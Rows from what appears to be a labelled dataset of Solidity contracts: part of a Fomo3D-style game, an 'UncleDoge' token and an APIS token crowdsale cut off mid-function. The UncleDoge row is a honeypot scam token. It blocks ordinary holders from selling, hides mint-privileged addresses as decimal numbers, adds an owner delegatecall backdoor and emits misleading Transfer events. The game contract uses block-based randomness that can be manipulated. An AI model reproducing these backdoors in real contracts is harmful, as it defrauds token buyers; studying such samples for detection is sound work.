plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(LOLdatasets.EventReturns memory _eventData_)
private
returns (LOLdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(lol_offical_bank).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = 0;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, LOLdatasets.EventReturns memory _eventData_)
private
returns(LOLdatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit LOLevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
address(lol_offical_bank).call.value(_com)(bytes4(keccak256("deposit()")));
return(_eventData_);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, LOLdatasets.EventReturns memory _eventData_)
private
returns(LOLdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 50);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, LOLdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit LOLevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == owner,
"only team just can activate"
);
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library LOLdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library LOLKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface LOLOfficalBankInterface {
function deposit() external payable returns(bool);
}
interface LOLPlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 519 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UncleDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,832 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
OwnershipTransferred(owner, _newOwner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract ApisToken is StandardToken, Ownable {
string public constant name = "APIS";
string public constant symbol = "APIS";
uint8 public constant decimals = 18;
mapping (address => LockedInfo) public lockedWalletInfo;
mapping (address => bool) public manoContracts;
struct LockedInfo {
uint timeLockUpEnd;
bool sendLock;
bool receiveLock;
}
event Transfer (address indexed from, address indexed to, uint256 value);
event Locked (address indexed target, uint timeLockUpEnd, bool sendLock, bool receiveLock);
event Unlocked (address indexed target);
event RejectedPaymentToLockedUpWallet (address indexed from, address indexed to, uint256 value);
event RejectedPaymentFromLockedUpWallet (address indexed from, address indexed to, uint256 value);
event Burn (address indexed burner, uint256 value);
event ManoContractRegistered (address manoContract, bool registered);
function ApisToken() public {
uint256 supplyApis = 9520000000;
totalSupply = supplyApis * 10 ** uint256(decimals);
balances[msg.sender] = totalSupply;
Transfer(0x0, msg.sender, totalSupply);
}
function walletLock(address _targetWallet, uint _timeLockEnd, bool _sendLock, bool _receiveLock) onlyOwner public {
require(_targetWallet != 0x0);
if(_sendLock == false && _receiveLock == false) {
_timeLockEnd = 0;
}
lockedWalletInfo[_targetWallet].timeLockUpEnd = _timeLockEnd;
lockedWalletInfo[_targetWallet].sendLock = _sendLock;
lockedWalletInfo[_targetWallet].receiveLock = _receiveLock;
if(_timeLockEnd > 0) {
Locked(_targetWallet, _timeLockEnd, _sendLock, _receiveLock);
} else {
Unlocked(_targetWallet);
}
}
function walletLockBoth(address _targetWallet, uint _timeLockUpEnd) onlyOwner public {
walletLock(_targetWallet, _timeLockUpEnd, true, true);
}
function walletLockBothForever(address _targetWallet) onlyOwner public {
walletLock(_targetWallet, 999999999999, true, true);
}
function walletUnlock(address _targetWallet) onlyOwner public {
walletLock(_targetWallet, 0, false, false);
}
function isWalletLocked_Send(address _addr) public constant returns (bool isSendLocked, uint until) {
require(_addr != 0x0);
isSendLocked = (lockedWalletInfo[_addr].timeLockUpEnd > now && lockedWalletInfo[_addr].sendLock == true);
if(isSendLocked) {
until = lockedWalletInfo[_addr].timeLockUpEnd;
} else {
until = 0;
}
}
function isWalletLocked_Receive(address _addr) public constant returns (bool isReceiveLocked, uint until) {
require(_addr != 0x0);
isReceiveLocked = (lockedWalletInfo[_addr].timeLockUpEnd > now && lockedWalletInfo[_addr].receiveLock == true);
if(isReceiveLocked) {
until = lockedWalletInfo[_addr].timeLockUpEnd;
} else {
until = 0;
}
}
function isMyWalletLocked_Send() public constant returns (bool isSendLocked, uint until) {
return isWalletLocked_Send(msg.sender);
}
function isMyWalletLocked_Receive() public constant returns (bool isReceiveLocked, uint until) {
return isWalletLocked_Receive(msg.sender);
}
function registerManoContract(address manoAddr, bool registered) onlyOwner public {
manoContracts[manoAddr] = registered;
ManoContractRegistered(manoAddr, registered);
}
function transfer(address _to, uint256 _apisWei) public returns (bool) {
require(_to != address(this));
if(manoContracts[msg.sender] || manoContracts[_to]) {
return super.transfer(_to, _apisWei);
}
if(lockedWalletInfo[msg.sender].timeLockUpEnd > now && lockedWalletInfo[msg.sender].sendLock == true) {
RejectedPaymentFromLockedUpWallet(msg.sender, _to, _apisWei);
return false;
}
else if(lockedWalletInfo[_to].timeLockUpEnd > now && lockedWalletInfo[_to].receiveLock == true) {
RejectedPaymentToLockedUpWallet(msg.sender, _to, _apisWei);
return false;
}
else {
return super.transfer(_to, _apisWei);
}
}
function transferAndLockUntil(address _to, uint256 _apisWei, uint _timeLockUpEnd) onlyOwner public {
require(transfer(_to, _apisWei));
walletLockBoth(_to, _timeLockUpEnd);
}
function transferAndLockForever(address _to, uint256 _apisWei) onlyOwner public {
require(transfer(_to, _apisWei));
walletLockBothForever(_to);
}
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
require(_value <= totalSupply);
address burner = msg.sender;
balances[burner] -= _value;
totalSupply -= _value;
Burn(burner, _value);
}
function () public payable {
revert();
}
}
contract WhiteList is Ownable {
mapping (address => uint8) internal list;
event WhiteBacker(address indexed backer, bool allowed);
function setWhiteBacker(address _target, bool _allowed) onlyOwner public {
require(_target != 0x0);
if(_allowed == true) {
list[_target] = 1;
} else {
list[_target] = 0;
}
WhiteBacker(_target, _allowed);
}
function addWhiteBacker(address _target) onlyOwner public {
setWhiteBacker(_target, true);
}
function setWhiteBackersByList(address[] _backers, bool[] _allows) onlyOwner public {
require(_backers.length > 0);
require(_backers.length == _allows.length);
for(uint backerIndex = 0; backerIndex < _backers.length; backerIndex++) {
setWhiteBacker(_backers[backerIndex], _allows[backerIndex]);
}
}
function addWhiteBackersByList(address[] _backers) onlyOwner public {
for(uint backerIndex = 0; backerIndex < _backers.length; backerIndex++) {
setWhiteBacker(_backers[backerIndex], true);
}
}
function isInWhiteList(address _addr) public constant returns (bool) {
require(_addr != 0x0);
return list[_addr] > 0;
}
function isMeInWhiteList() public constant returns (bool isWhiteBacker) {
return list[msg.sender] > 0;
}
}
contract ApisCrowdSale is Ownable {
uint8 public constant decimals = 18;
uint256 public fundingGoal;
uint256 public fundingGoalCurrent;
uint256 public priceOfApisPerFund;
uint public startTime;
uint public endTime;
bool closed = false;
SaleStatus public saleStatus;
ApisToken internal tokenReward;
WhiteList internal whiteList;
mapping (address => Property) public fundersProperty;
struct Property {
uint256 reservedFunds;
uint256 paidFunds;
uint256 reservedApis;
uint256 withdrawedApis;
uint purchaseTime;
}
struct SaleStatus {
uint256 totalReservedFunds;
uint256 totalPaidFunds;
uint256 totalReceivedFunds;
uint256 totalReservedApis;
uint256 totalWithdrawedApis;
uint256 totalSoldApis;
}
event ReservedApis(address beneficiary, uint256 amountOfFunds, uint256 amountOfApis);
event WithdrawalFunds(address addr, uint256 amount);
event WithdrawalApis(address funder, uint256 amountOfFunds, uint256 amountOfApis);
event Refund(address _backer, uint256 _amountFunds, uint256 _amountApis);
modifier onSale() {
require(now >= startTime);
require(now < endTime);
require(closed == false);
require(priceOfApisPerFund > 0);
require(fundingGoalCurrent > 0);
_;
}
modifier onFinished() {
require(now >= endTime || closed == true);
_;
}
modifier claimable() {
require(whiteList.isInWhiteList(msg.sender) == true);
require(fundersProperty[msg.sender].reservedFunds > 0);
_;
}
function ApisCrowdSale (
uint256 _fundingGoalApis,
uint _startTime,
uint _endTime,
address _addressOfApisTokenUsedAsReward,
address _addressOfWhiteList
) public {
require (_fundingGoalApis > 0);
require (_startTime > now);
require (_endTime > _startTime);
require (_addressOfApisTokenUsedAsReward != 0x0);
require (_addressOfWhiteList != 0x0);
fundingGoal = _fundingGoalApis * 10 ** uint256(decimals);
startTime = _startTime;
endTime = _endTime;
tokenReward = ApisToken(_addressOfApisTokenUsedAsReward);
whiteList = WhiteList(_addressOfWhiteList);
}
function closeSale(bool _closed) onlyOwner public {
require (closed == false);
closed = _closed;
}
function setPriceOfApis(uint256 price) onlyOwner public {
require(priceOfApisPerFund == 0);
priceOfApisPerFund = price;
}
function setCurrentFundingGoal(uint256 _currentFundingGoalAPIS) onlyOwner public {
uint256 fundingGoalCurrentWei = _currentFundingGoalAPIS * 10 ** uint256(decimals);
require(fundingGoalCurrentWei >= saleStatus.totalSoldApis);
fundingGoalCurrent = fundingGoalCurrentWei;
}
function balanceOf(address _addr) public view returns (uint256 balance) {
return tokenReward.balanceOf(_addr);
}
function whiteListOf(address _addr) public view returns (string message) {
if(whiteList.isInWhiteList(_addr) == true) {
return "The address is in whitelist.";
} else {
return "The address is *NOT* in whitelist.";
}
}
function isClaimable(address _addr) public view returns (string message) {
if(fundersProperty[_addr].reservedFunds == 0) {
return "The address has no claimable balance.";
}
if(whiteList.isInWhiteList(_addr) == false) {
return "The address must be registered with KYC and Whitelist";
}
else {
return "The address can claim APIS!";
}
}
function () onSale public payable {
buyToken(msg.sender);
}
function buyToken(address _beneficiary) onSale public payable {
require(_beneficiary != 0x0);
bool isLocked = false;
uint timeLock = 0;
